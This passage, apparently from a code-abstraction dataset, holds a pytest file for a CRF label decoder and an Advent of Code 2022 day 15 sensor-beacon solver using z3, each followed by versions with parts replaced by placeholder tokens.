"<docstring token>\n<import token>\n\n\nclass CRFData:\n \"\"\"\n 测试用的 crf 数据\n \"\"\"\n\n def __init__(self):\n bio_labels = [['O', 'I-X', 'B-X', 'I-Y', 'B-Y']]\n self.label_vocabulary = LabelVocabulary(labels=bio_labels, padding=\n LabelVocabulary.PADDING)\n self.logits = torch.tensor([[[0, 0, 0.5, 0.5, 0.2], [0, 0, 0.3, 0.3,\n 0.1], [0, 0, 0.9, 10, 1]], [[0, 0, 0.2, 0.5, 0.2], [0, 0, 3, \n 0.3, 0.1], [0, 0, 0.9, 1, 1]]], dtype=torch.float)\n self.tags = torch.tensor([[2, 3, 4], [3, 2, 2]], dtype=torch.long)\n self.transitions = torch.tensor([[0.1, 0.2, 0.3, 0.4, 0.5], [0.8, \n 0.3, 0.1, 0.7, 0.9], [-0.3, 2.1, -5.6, 3.4, 4.0], [0.2, 0.4, \n 0.6, -0.3, -0.4], [1.0, 1.0, 1.0, 1.0, 1.0]], dtype=torch.float)\n self.transitions_from_start = torch.tensor([0.1, 0.2, 0.3, 0.4, 0.6\n ], dtype=torch.float)\n self.transitions_to_end = torch.tensor([-0.1, -0.2, 0.3, -0.4, -0.4\n ], dtype=torch.float)\n self.crf = ConditionalRandomField(5)\n self.crf.transitions = torch.nn.Parameter(self.transitions)\n self.crf.start_transitions = torch.nn.Parameter(self.\n transitions_from_start)\n self.crf.end_transitions = torch.nn.Parameter(self.transitions_to_end)\n constraints = {(0, 0), (0, 1), (1, 1), (1, 2), (2, 2), (2, 3), (3, \n 3), (3, 4), (4, 4), (4, 0)}\n for i in range(5):\n constraints.add((5, i))\n constraints.add((i, 6))\n constraint_crf = ConditionalRandomField(num_tags=5, constraints=\n constraints)\n constraint_crf.transitions = torch.nn.Parameter(self.transitions)\n constraint_crf.start_transitions = torch.nn.Parameter(self.\n transitions_from_start)\n constraint_crf.end_transitions = torch.nn.Parameter(self.\n transitions_to_end)\n self.constraint_crf = constraint_crf\n\n\[email protected](scope='class')\ndef crf_data():\n \"\"\"\n 产生测试用的 crf data\n :return:\n \"\"\"\n return CRFData()\n\n\ndef test_crf_label_index_decoder(crf_data):\n \"\"\"\n 测试 crf label index decoder\n :param crf_data: crf data\n :return:\n \"\"\"\n mask = torch.tensor([[1, 1, 1], [1, 1, 0]], dtype=torch.long)\n crf_label_index_decoder = CRFLabelIndexDecoder(crf=crf_data.crf,\n label_vocabulary=crf_data.label_vocabulary)\n label_indices = crf_label_index_decoder(logits=crf_data.logits, mask=mask)\n padding_index = crf_data.label_vocabulary.padding_index\n expect = [[2, 4, 3], [4, 2, padding_index]]\n ASSERT.assertListEqual(expect, label_indices.tolist())\n\n\n<function token>\n",
"<docstring token>\n<import token>\n\n\nclass CRFData:\n \"\"\"\n 测试用的 crf 数据\n \"\"\"\n\n def __init__(self):\n bio_labels = [['O', 'I-X', 'B-X', 'I-Y', 'B-Y']]\n self.label_vocabulary = LabelVocabulary(labels=bio_labels, padding=\n LabelVocabulary.PADDING)\n self.logits = torch.tensor([[[0, 0, 0.5, 0.5, 0.2], [0, 0, 0.3, 0.3,\n 0.1], [0, 0, 0.9, 10, 1]], [[0, 0, 0.2, 0.5, 0.2], [0, 0, 3, \n 0.3, 0.1], [0, 0, 0.9, 1, 1]]], dtype=torch.float)\n self.tags = torch.tensor([[2, 3, 4], [3, 2, 2]], dtype=torch.long)\n self.transitions = torch.tensor([[0.1, 0.2, 0.3, 0.4, 0.5], [0.8, \n 0.3, 0.1, 0.7, 0.9], [-0.3, 2.1, -5.6, 3.4, 4.0], [0.2, 0.4, \n 0.6, -0.3, -0.4], [1.0, 1.0, 1.0, 1.0, 1.0]], dtype=torch.float)\n self.transitions_from_start = torch.tensor([0.1, 0.2, 0.3, 0.4, 0.6\n ], dtype=torch.float)\n self.transitions_to_end = torch.tensor([-0.1, -0.2, 0.3, -0.4, -0.4\n ], dtype=torch.float)\n self.crf = ConditionalRandomField(5)\n self.crf.transitions = torch.nn.Parameter(self.transitions)\n self.crf.start_transitions = torch.nn.Parameter(self.\n transitions_from_start)\n self.crf.end_transitions = torch.nn.Parameter(self.transitions_to_end)\n constraints = {(0, 0), (0, 1), (1, 1), (1, 2), (2, 2), (2, 3), (3, \n 3), (3, 4), (4, 4), (4, 0)}\n for i in range(5):\n constraints.add((5, i))\n constraints.add((i, 6))\n constraint_crf = ConditionalRandomField(num_tags=5, constraints=\n constraints)\n constraint_crf.transitions = torch.nn.Parameter(self.transitions)\n constraint_crf.start_transitions = torch.nn.Parameter(self.\n transitions_from_start)\n constraint_crf.end_transitions = torch.nn.Parameter(self.\n transitions_to_end)\n self.constraint_crf = constraint_crf\n\n\[email protected](scope='class')\ndef crf_data():\n \"\"\"\n 产生测试用的 crf data\n :return:\n \"\"\"\n return CRFData()\n\n\n<function token>\n<function token>\n",
"<docstring token>\n<import token>\n\n\nclass CRFData:\n \"\"\"\n 测试用的 crf 数据\n \"\"\"\n\n def __init__(self):\n bio_labels = [['O', 'I-X', 'B-X', 'I-Y', 'B-Y']]\n self.label_vocabulary = LabelVocabulary(labels=bio_labels, padding=\n LabelVocabulary.PADDING)\n self.logits = torch.tensor([[[0, 0, 0.5, 0.5, 0.2], [0, 0, 0.3, 0.3,\n 0.1], [0, 0, 0.9, 10, 1]], [[0, 0, 0.2, 0.5, 0.2], [0, 0, 3, \n 0.3, 0.1], [0, 0, 0.9, 1, 1]]], dtype=torch.float)\n self.tags = torch.tensor([[2, 3, 4], [3, 2, 2]], dtype=torch.long)\n self.transitions = torch.tensor([[0.1, 0.2, 0.3, 0.4, 0.5], [0.8, \n 0.3, 0.1, 0.7, 0.9], [-0.3, 2.1, -5.6, 3.4, 4.0], [0.2, 0.4, \n 0.6, -0.3, -0.4], [1.0, 1.0, 1.0, 1.0, 1.0]], dtype=torch.float)\n self.transitions_from_start = torch.tensor([0.1, 0.2, 0.3, 0.4, 0.6\n ], dtype=torch.float)\n self.transitions_to_end = torch.tensor([-0.1, -0.2, 0.3, -0.4, -0.4\n ], dtype=torch.float)\n self.crf = ConditionalRandomField(5)\n self.crf.transitions = torch.nn.Parameter(self.transitions)\n self.crf.start_transitions = torch.nn.Parameter(self.\n transitions_from_start)\n self.crf.end_transitions = torch.nn.Parameter(self.transitions_to_end)\n constraints = {(0, 0), (0, 1), (1, 1), (1, 2), (2, 2), (2, 3), (3, \n 3), (3, 4), (4, 4), (4, 0)}\n for i in range(5):\n constraints.add((5, i))\n constraints.add((i, 6))\n constraint_crf = ConditionalRandomField(num_tags=5, constraints=\n constraints)\n constraint_crf.transitions = torch.nn.Parameter(self.transitions)\n constraint_crf.start_transitions = torch.nn.Parameter(self.\n transitions_from_start)\n constraint_crf.end_transitions = torch.nn.Parameter(self.\n transitions_to_end)\n self.constraint_crf = constraint_crf\n\n\n<function token>\n<function token>\n<function token>\n",
"<docstring token>\n<import token>\n\n\nclass CRFData:\n <docstring token>\n\n def __init__(self):\n bio_labels = [['O', 'I-X', 'B-X', 'I-Y', 'B-Y']]\n self.label_vocabulary = LabelVocabulary(labels=bio_labels, padding=\n LabelVocabulary.PADDING)\n self.logits = torch.tensor([[[0, 0, 0.5, 0.5, 0.2], [0, 0, 0.3, 0.3,\n 0.1], [0, 0, 0.9, 10, 1]], [[0, 0, 0.2, 0.5, 0.2], [0, 0, 3, \n 0.3, 0.1], [0, 0, 0.9, 1, 1]]], dtype=torch.float)\n self.tags = torch.tensor([[2, 3, 4], [3, 2, 2]], dtype=torch.long)\n self.transitions = torch.tensor([[0.1, 0.2, 0.3, 0.4, 0.5], [0.8, \n 0.3, 0.1, 0.7, 0.9], [-0.3, 2.1, -5.6, 3.4, 4.0], [0.2, 0.4, \n 0.6, -0.3, -0.4], [1.0, 1.0, 1.0, 1.0, 1.0]], dtype=torch.float)\n self.transitions_from_start = torch.tensor([0.1, 0.2, 0.3, 0.4, 0.6\n ], dtype=torch.float)\n self.transitions_to_end = torch.tensor([-0.1, -0.2, 0.3, -0.4, -0.4\n ], dtype=torch.float)\n self.crf = ConditionalRandomField(5)\n self.crf.transitions = torch.nn.Parameter(self.transitions)\n self.crf.start_transitions = torch.nn.Parameter(self.\n transitions_from_start)\n self.crf.end_transitions = torch.nn.Parameter(self.transitions_to_end)\n constraints = {(0, 0), (0, 1), (1, 1), (1, 2), (2, 2), (2, 3), (3, \n 3), (3, 4), (4, 4), (4, 0)}\n for i in range(5):\n constraints.add((5, i))\n constraints.add((i, 6))\n constraint_crf = ConditionalRandomField(num_tags=5, constraints=\n constraints)\n constraint_crf.transitions = torch.nn.Parameter(self.transitions)\n constraint_crf.start_transitions = torch.nn.Parameter(self.\n transitions_from_start)\n constraint_crf.end_transitions = torch.nn.Parameter(self.\n transitions_to_end)\n self.constraint_crf = constraint_crf\n\n\n<function token>\n<function token>\n<function token>\n",
"<docstring token>\n<import token>\n\n\nclass CRFData:\n <docstring token>\n <function token>\n\n\n<function token>\n<function token>\n<function token>\n",
"<docstring token>\n<import token>\n<class token>\n<function token>\n<function token>\n<function token>\n"
] | false |
9,981 |
c4bd55be86c1f55d89dfcbba2ccde4f3b132edcb
|
import re
import z3
digit_search = re.compile('\-?\d+')
def get_sensor_beacon(data_in):
sensors = {}
beacons = set()
for line in data_in:
s_x, s_y, b_x, b_y = list(map(int, digit_search.findall(line)))
sensors[(s_x, s_y)] = abs(s_x - b_x) + abs(s_y - b_y)
beacons.add((b_x, b_y))
return sensors, beacons
def manhat(point_one, point_two):
return abs(point_one[0] - point_two[0]) + abs(point_one[1] - point_two[1])
def find_edge(sensors, pos, dir):
x, row = pos
closer = []
for sensor in sensors.keys():
if manhat(pos, sensor) <= sensors[sensor]:
closer.append(sensor)
if dir > 0:
edgiest = [sensor for sensor in sensors.keys() if sensor[0] == max([x for x, y in closer])][0]
elif dir < 0:
edgiest = [sensor for sensor in sensors.keys() if sensor[0] == min([x for x, y in closer])][0]
if dir > 0:
if pos[0] > edgiest[0] and max([sensors[point] - manhat(pos, point) for point in closer]) == 0:
return x
elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:
new_x = x + max([1, (sensors[edgiest] - manhat(pos, edgiest))]) * dir
return find_edge(sensors, (new_x, row), dir)
elif dir < 0:
if pos[0] < edgiest[0] and max([sensors[point] - manhat(pos, point) for point in closer]) == 0:
return x
elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:
new_x = x + max([1, (sensors[edgiest] - manhat(pos, edgiest))]) * dir
return find_edge(sensors, (new_x, row), dir)
else:
raise Exception("This shouldn't be happening. We've gone too far!")
def no_beacon_row(sensors, beacons, row):
start_x = int(sum([y for x,y in sensors.keys()])/len(sensors.keys()))
beacons_on_row = len([beacon for beacon in beacons if beacon[1] == row])
# print(start_x)
# print(beacons_on_row)
# print(find_edge(sensors, (start_x, row), 1), find_edge(sensors, (start_x, row), -1))
return find_edge(sensors, (start_x, row), 1) - find_edge(sensors, (start_x, row), -1) - beacons_on_row + 1
# airlifted and modified to fit from u/hugh_tc https://www.reddit.com/r/adventofcode/comments/zmcn64/2022_day_15_solutions/j0af5cy/
def part_two(data_in):
s = z3.Solver()
x = z3.Int("x")
y = z3.Int("y")
s.add(0 <= x)
s.add(x <= 4000000)
s.add(0 <= y)
s.add(y <= 4000000)
def z3_abs(x):
return z3.If(x >= 0, x, -x)
for line in data:
sx, sy, bx, by = [int(x) for x in digit_search.findall(line)]
m = abs(sx - bx) + abs(sy - by)
s.add(z3_abs(sx - x) + z3_abs(sy - y) > m)
s.check()
outx, outy = s.model()[x].as_long(), s.model()[y].as_long()
return outx * 4000000 + outy
with open("day15.txt" , "r") as f:
data = f.read().split('\n')
sensor_list, beacon_list = get_sensor_beacon(data)
print("Part One:", no_beacon_row(sensor_list, beacon_list, 2000000))
print("Part Two:", part_two(data))
|
[
"import re\nimport z3\ndigit_search = re.compile('\\-?\\d+')\n\ndef get_sensor_beacon(data_in):\n sensors = {}\n beacons = set()\n for line in data_in:\n s_x, s_y, b_x, b_y = list(map(int, digit_search.findall(line)))\n sensors[(s_x, s_y)] = abs(s_x - b_x) + abs(s_y - b_y)\n beacons.add((b_x, b_y))\n return sensors, beacons\n\ndef manhat(point_one, point_two):\n return abs(point_one[0] - point_two[0]) + abs(point_one[1] - point_two[1])\n\ndef find_edge(sensors, pos, dir):\n x, row = pos\n closer = []\n for sensor in sensors.keys():\n if manhat(pos, sensor) <= sensors[sensor]:\n closer.append(sensor)\n if dir > 0:\n edgiest = [sensor for sensor in sensors.keys() if sensor[0] == max([x for x, y in closer])][0]\n elif dir < 0:\n edgiest = [sensor for sensor in sensors.keys() if sensor[0] == min([x for x, y in closer])][0]\n if dir > 0:\n if pos[0] > edgiest[0] and max([sensors[point] - manhat(pos, point) for point in closer]) == 0:\n return x\n elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:\n new_x = x + max([1, (sensors[edgiest] - manhat(pos, edgiest))]) * dir\n return find_edge(sensors, (new_x, row), dir)\n elif dir < 0:\n if pos[0] < edgiest[0] and max([sensors[point] - manhat(pos, point) for point in closer]) == 0:\n return x\n elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:\n new_x = x + max([1, (sensors[edgiest] - manhat(pos, edgiest))]) * dir\n return find_edge(sensors, (new_x, row), dir)\n else:\n raise Exception(\"This shouldn't be happening. We've gone too far!\")\n\n\ndef no_beacon_row(sensors, beacons, row):\n start_x = int(sum([y for x,y in sensors.keys()])/len(sensors.keys()))\n beacons_on_row = len([beacon for beacon in beacons if beacon[1] == row])\n # print(start_x)\n # print(beacons_on_row)\n # print(find_edge(sensors, (start_x, row), 1), find_edge(sensors, (start_x, row), -1))\n return find_edge(sensors, (start_x, row), 1) - find_edge(sensors, (start_x, row), -1) - beacons_on_row + 1\n\n# airlifted and modified to fit from u/hugh_tc https://www.reddit.com/r/adventofcode/comments/zmcn64/2022_day_15_solutions/j0af5cy/\ndef part_two(data_in):\n s = z3.Solver()\n x = z3.Int(\"x\")\n y = z3.Int(\"y\")\n s.add(0 <= x)\n s.add(x <= 4000000)\n s.add(0 <= y)\n s.add(y <= 4000000)\n def z3_abs(x):\n return z3.If(x >= 0, x, -x)\n for line in data:\n sx, sy, bx, by = [int(x) for x in digit_search.findall(line)]\n m = abs(sx - bx) + abs(sy - by)\n s.add(z3_abs(sx - x) + z3_abs(sy - y) > m)\n s.check()\n outx, outy = s.model()[x].as_long(), s.model()[y].as_long()\n return outx * 4000000 + outy\n\nwith open(\"day15.txt\" , \"r\") as f:\n data = f.read().split('\\n')\n\nsensor_list, beacon_list = get_sensor_beacon(data)\nprint(\"Part One:\", no_beacon_row(sensor_list, beacon_list, 2000000))\nprint(\"Part Two:\", part_two(data))\n\n",
"import re\nimport z3\ndigit_search = re.compile('\\\\-?\\\\d+')\n\n\ndef get_sensor_beacon(data_in):\n sensors = {}\n beacons = set()\n for line in data_in:\n s_x, s_y, b_x, b_y = list(map(int, digit_search.findall(line)))\n sensors[s_x, s_y] = abs(s_x - b_x) + abs(s_y - b_y)\n beacons.add((b_x, b_y))\n return sensors, beacons\n\n\ndef manhat(point_one, point_two):\n return abs(point_one[0] - point_two[0]) + abs(point_one[1] - point_two[1])\n\n\ndef find_edge(sensors, pos, dir):\n x, row = pos\n closer = []\n for sensor in sensors.keys():\n if manhat(pos, sensor) <= sensors[sensor]:\n closer.append(sensor)\n if dir > 0:\n edgiest = [sensor for sensor in sensors.keys() if sensor[0] == max(\n [x for x, y in closer])][0]\n elif dir < 0:\n edgiest = [sensor for sensor in sensors.keys() if sensor[0] == min(\n [x for x, y in closer])][0]\n if dir > 0:\n if pos[0] > edgiest[0] and max([(sensors[point] - manhat(pos, point\n )) for point in closer]) == 0:\n return x\n elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:\n new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir\n return find_edge(sensors, (new_x, row), dir)\n elif dir < 0:\n if pos[0] < edgiest[0] and max([(sensors[point] - manhat(pos, point\n )) for point in closer]) == 0:\n return x\n elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:\n new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir\n return find_edge(sensors, (new_x, row), dir)\n else:\n raise Exception(\"This shouldn't be happening. We've gone too far!\")\n\n\ndef no_beacon_row(sensors, beacons, row):\n start_x = int(sum([y for x, y in sensors.keys()]) / len(sensors.keys()))\n beacons_on_row = len([beacon for beacon in beacons if beacon[1] == row])\n return find_edge(sensors, (start_x, row), 1) - find_edge(sensors, (\n start_x, row), -1) - beacons_on_row + 1\n\n\ndef part_two(data_in):\n s = z3.Solver()\n x = z3.Int('x')\n y = z3.Int('y')\n s.add(0 <= x)\n s.add(x <= 4000000)\n s.add(0 <= y)\n s.add(y <= 4000000)\n\n def z3_abs(x):\n return z3.If(x >= 0, x, -x)\n for line in data:\n sx, sy, bx, by = [int(x) for x in digit_search.findall(line)]\n m = abs(sx - bx) + abs(sy - by)\n s.add(z3_abs(sx - x) + z3_abs(sy - y) > m)\n s.check()\n outx, outy = s.model()[x].as_long(), s.model()[y].as_long()\n return outx * 4000000 + outy\n\n\nwith open('day15.txt', 'r') as f:\n data = f.read().split('\\n')\nsensor_list, beacon_list = get_sensor_beacon(data)\nprint('Part One:', no_beacon_row(sensor_list, beacon_list, 2000000))\nprint('Part Two:', part_two(data))\n",
"<import token>\ndigit_search = re.compile('\\\\-?\\\\d+')\n\n\ndef get_sensor_beacon(data_in):\n sensors = {}\n beacons = set()\n for line in data_in:\n s_x, s_y, b_x, b_y = list(map(int, digit_search.findall(line)))\n sensors[s_x, s_y] = abs(s_x - b_x) + abs(s_y - b_y)\n beacons.add((b_x, b_y))\n return sensors, beacons\n\n\ndef manhat(point_one, point_two):\n return abs(point_one[0] - point_two[0]) + abs(point_one[1] - point_two[1])\n\n\ndef find_edge(sensors, pos, dir):\n x, row = pos\n closer = []\n for sensor in sensors.keys():\n if manhat(pos, sensor) <= sensors[sensor]:\n closer.append(sensor)\n if dir > 0:\n edgiest = [sensor for sensor in sensors.keys() if sensor[0] == max(\n [x for x, y in closer])][0]\n elif dir < 0:\n edgiest = [sensor for sensor in sensors.keys() if sensor[0] == min(\n [x for x, y in closer])][0]\n if dir > 0:\n if pos[0] > edgiest[0] and max([(sensors[point] - manhat(pos, point\n )) for point in closer]) == 0:\n return x\n elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:\n new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir\n return find_edge(sensors, (new_x, row), dir)\n elif dir < 0:\n if pos[0] < edgiest[0] and max([(sensors[point] - manhat(pos, point\n )) for point in closer]) == 0:\n return x\n elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:\n new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir\n return find_edge(sensors, (new_x, row), dir)\n else:\n raise Exception(\"This shouldn't be happening. We've gone too far!\")\n\n\ndef no_beacon_row(sensors, beacons, row):\n start_x = int(sum([y for x, y in sensors.keys()]) / len(sensors.keys()))\n beacons_on_row = len([beacon for beacon in beacons if beacon[1] == row])\n return find_edge(sensors, (start_x, row), 1) - find_edge(sensors, (\n start_x, row), -1) - beacons_on_row + 1\n\n\ndef part_two(data_in):\n s = z3.Solver()\n x = z3.Int('x')\n y = z3.Int('y')\n s.add(0 <= x)\n s.add(x <= 4000000)\n s.add(0 <= y)\n s.add(y <= 4000000)\n\n def z3_abs(x):\n return z3.If(x >= 0, x, -x)\n for line in data:\n sx, sy, bx, by = [int(x) for x in digit_search.findall(line)]\n m = abs(sx - bx) + abs(sy - by)\n s.add(z3_abs(sx - x) + z3_abs(sy - y) > m)\n s.check()\n outx, outy = s.model()[x].as_long(), s.model()[y].as_long()\n return outx * 4000000 + outy\n\n\nwith open('day15.txt', 'r') as f:\n data = f.read().split('\\n')\nsensor_list, beacon_list = get_sensor_beacon(data)\nprint('Part One:', no_beacon_row(sensor_list, beacon_list, 2000000))\nprint('Part Two:', part_two(data))\n",
"<import token>\n<assignment token>\n\n\ndef get_sensor_beacon(data_in):\n sensors = {}\n beacons = set()\n for line in data_in:\n s_x, s_y, b_x, b_y = list(map(int, digit_search.findall(line)))\n sensors[s_x, s_y] = abs(s_x - b_x) + abs(s_y - b_y)\n beacons.add((b_x, b_y))\n return sensors, beacons\n\n\ndef manhat(point_one, point_two):\n return abs(point_one[0] - point_two[0]) + abs(point_one[1] - point_two[1])\n\n\ndef find_edge(sensors, pos, dir):\n x, row = pos\n closer = []\n for sensor in sensors.keys():\n if manhat(pos, sensor) <= sensors[sensor]:\n closer.append(sensor)\n if dir > 0:\n edgiest = [sensor for sensor in sensors.keys() if sensor[0] == max(\n [x for x, y in closer])][0]\n elif dir < 0:\n edgiest = [sensor for sensor in sensors.keys() if sensor[0] == min(\n [x for x, y in closer])][0]\n if dir > 0:\n if pos[0] > edgiest[0] and max([(sensors[point] - manhat(pos, point\n )) for point in closer]) == 0:\n return x\n elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:\n new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir\n return find_edge(sensors, (new_x, row), dir)\n elif dir < 0:\n if pos[0] < edgiest[0] and max([(sensors[point] - manhat(pos, point\n )) for point in closer]) == 0:\n return x\n elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:\n new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir\n return find_edge(sensors, (new_x, row), dir)\n else:\n raise Exception(\"This shouldn't be happening. We've gone too far!\")\n\n\ndef no_beacon_row(sensors, beacons, row):\n start_x = int(sum([y for x, y in sensors.keys()]) / len(sensors.keys()))\n beacons_on_row = len([beacon for beacon in beacons if beacon[1] == row])\n return find_edge(sensors, (start_x, row), 1) - find_edge(sensors, (\n start_x, row), -1) - beacons_on_row + 1\n\n\ndef part_two(data_in):\n s = z3.Solver()\n x = z3.Int('x')\n y = z3.Int('y')\n s.add(0 <= x)\n s.add(x <= 4000000)\n s.add(0 <= y)\n s.add(y <= 4000000)\n\n def z3_abs(x):\n return z3.If(x >= 0, x, -x)\n for line in data:\n sx, sy, bx, by = [int(x) for x in digit_search.findall(line)]\n m = abs(sx - bx) + abs(sy - by)\n s.add(z3_abs(sx - x) + z3_abs(sy - y) > m)\n s.check()\n outx, outy = s.model()[x].as_long(), s.model()[y].as_long()\n return outx * 4000000 + outy\n\n\nwith open('day15.txt', 'r') as f:\n data = f.read().split('\\n')\n<assignment token>\nprint('Part One:', no_beacon_row(sensor_list, beacon_list, 2000000))\nprint('Part Two:', part_two(data))\n",
"<import token>\n<assignment token>\n\n\ndef get_sensor_beacon(data_in):\n sensors = {}\n beacons = set()\n for line in data_in:\n s_x, s_y, b_x, b_y = list(map(int, digit_search.findall(line)))\n sensors[s_x, s_y] = abs(s_x - b_x) + abs(s_y - b_y)\n beacons.add((b_x, b_y))\n return sensors, beacons\n\n\ndef manhat(point_one, point_two):\n return abs(point_one[0] - point_two[0]) + abs(point_one[1] - point_two[1])\n\n\ndef find_edge(sensors, pos, dir):\n x, row = pos\n closer = []\n for sensor in sensors.keys():\n if manhat(pos, sensor) <= sensors[sensor]:\n closer.append(sensor)\n if dir > 0:\n edgiest = [sensor for sensor in sensors.keys() if sensor[0] == max(\n [x for x, y in closer])][0]\n elif dir < 0:\n edgiest = [sensor for sensor in sensors.keys() if sensor[0] == min(\n [x for x, y in closer])][0]\n if dir > 0:\n if pos[0] > edgiest[0] and max([(sensors[point] - manhat(pos, point\n )) for point in closer]) == 0:\n return x\n elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:\n new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir\n return find_edge(sensors, (new_x, row), dir)\n elif dir < 0:\n if pos[0] < edgiest[0] and max([(sensors[point] - manhat(pos, point\n )) for point in closer]) == 0:\n return x\n elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:\n new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir\n return find_edge(sensors, (new_x, row), dir)\n else:\n raise Exception(\"This shouldn't be happening. We've gone too far!\")\n\n\ndef no_beacon_row(sensors, beacons, row):\n start_x = int(sum([y for x, y in sensors.keys()]) / len(sensors.keys()))\n beacons_on_row = len([beacon for beacon in beacons if beacon[1] == row])\n return find_edge(sensors, (start_x, row), 1) - find_edge(sensors, (\n start_x, row), -1) - beacons_on_row + 1\n\n\ndef part_two(data_in):\n s = z3.Solver()\n x = z3.Int('x')\n y = z3.Int('y')\n s.add(0 <= x)\n s.add(x <= 4000000)\n s.add(0 <= y)\n s.add(y <= 4000000)\n\n def z3_abs(x):\n return z3.If(x >= 0, x, -x)\n for line in data:\n sx, sy, bx, by = [int(x) for x in digit_search.findall(line)]\n m = abs(sx - bx) + abs(sy - by)\n s.add(z3_abs(sx - x) + z3_abs(sy - y) > m)\n s.check()\n outx, outy = s.model()[x].as_long(), s.model()[y].as_long()\n return outx * 4000000 + outy\n\n\n<code token>\n<assignment token>\n<code token>\n",
"<import token>\n<assignment token>\n<function token>\n\n\ndef manhat(point_one, point_two):\n return abs(point_one[0] - point_two[0]) + abs(point_one[1] - point_two[1])\n\n\ndef find_edge(sensors, pos, dir):\n x, row = pos\n closer = []\n for sensor in sensors.keys():\n if manhat(pos, sensor) <= sensors[sensor]:\n closer.append(sensor)\n if dir > 0:\n edgiest = [sensor for sensor in sensors.keys() if sensor[0] == max(\n [x for x, y in closer])][0]\n elif dir < 0:\n edgiest = [sensor for sensor in sensors.keys() if sensor[0] == min(\n [x for x, y in closer])][0]\n if dir > 0:\n if pos[0] > edgiest[0] and max([(sensors[point] - manhat(pos, point\n )) for point in closer]) == 0:\n return x\n elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:\n new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir\n return find_edge(sensors, (new_x, row), dir)\n elif dir < 0:\n if pos[0] < edgiest[0] and max([(sensors[point] - manhat(pos, point\n )) for point in closer]) == 0:\n return x\n elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:\n new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir\n return find_edge(sensors, (new_x, row), dir)\n else:\n raise Exception(\"This shouldn't be happening. We've gone too far!\")\n\n\ndef no_beacon_row(sensors, beacons, row):\n start_x = int(sum([y for x, y in sensors.keys()]) / len(sensors.keys()))\n beacons_on_row = len([beacon for beacon in beacons if beacon[1] == row])\n return find_edge(sensors, (start_x, row), 1) - find_edge(sensors, (\n start_x, row), -1) - beacons_on_row + 1\n\n\ndef part_two(data_in):\n s = z3.Solver()\n x = z3.Int('x')\n y = z3.Int('y')\n s.add(0 <= x)\n s.add(x <= 4000000)\n s.add(0 <= y)\n s.add(y <= 4000000)\n\n def z3_abs(x):\n return z3.If(x >= 0, x, -x)\n for line in data:\n sx, sy, bx, by = [int(x) for x in digit_search.findall(line)]\n m = abs(sx - bx) + abs(sy - by)\n s.add(z3_abs(sx - x) + z3_abs(sy - y) > m)\n s.check()\n outx, outy = s.model()[x].as_long(), s.model()[y].as_long()\n return outx * 4000000 + outy\n\n\n<code token>\n<assignment token>\n<code token>\n",
"<import token>\n<assignment token>\n<function token>\n\n\ndef manhat(point_one, point_two):\n return abs(point_one[0] - point_two[0]) + abs(point_one[1] - point_two[1])\n\n\ndef find_edge(sensors, pos, dir):\n x, row = pos\n closer = []\n for sensor in sensors.keys():\n if manhat(pos, sensor) <= sensors[sensor]:\n closer.append(sensor)\n if dir > 0:\n edgiest = [sensor for sensor in sensors.keys() if sensor[0] == max(\n [x for x, y in closer])][0]\n elif dir < 0:\n edgiest = [sensor for sensor in sensors.keys() if sensor[0] == min(\n [x for x, y in closer])][0]\n if dir > 0:\n if pos[0] > edgiest[0] and max([(sensors[point] - manhat(pos, point\n )) for point in closer]) == 0:\n return x\n elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:\n new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir\n return find_edge(sensors, (new_x, row), dir)\n elif dir < 0:\n if pos[0] < edgiest[0] and max([(sensors[point] - manhat(pos, point\n )) for point in closer]) == 0:\n return x\n elif len(closer) > 1 or manhat(pos, edgiest) < sensors[edgiest]:\n new_x = x + max([1, sensors[edgiest] - manhat(pos, edgiest)]) * dir\n return find_edge(sensors, (new_x, row), dir)\n else:\n raise Exception(\"This shouldn't be happening. We've gone too far!\")\n\n\n<function token>\n\n\ndef part_two(data_in):\n s = z3.Solver()\n x = z3.Int('x')\n y = z3.Int('y')\n s.add(0 <= x)\n s.add(x <= 4000000)\n s.add(0 <= y)\n s.add(y <= 4000000)\n\n def z3_abs(x):\n return z3.If(x >= 0, x, -x)\n for line in data:\n sx, sy, bx, by = [int(x) for x in digit_search.findall(line)]\n m = abs(sx - bx) + abs(sy - by)\n s.add(z3_abs(sx - x) + z3_abs(sy - y) > m)\n s.check()\n outx, outy = s.model()[x].as_long(), s.model()[y].as_long()\n return outx * 4000000 + outy\n\n\n<code token>\n<assignment token>\n<code token>\n",
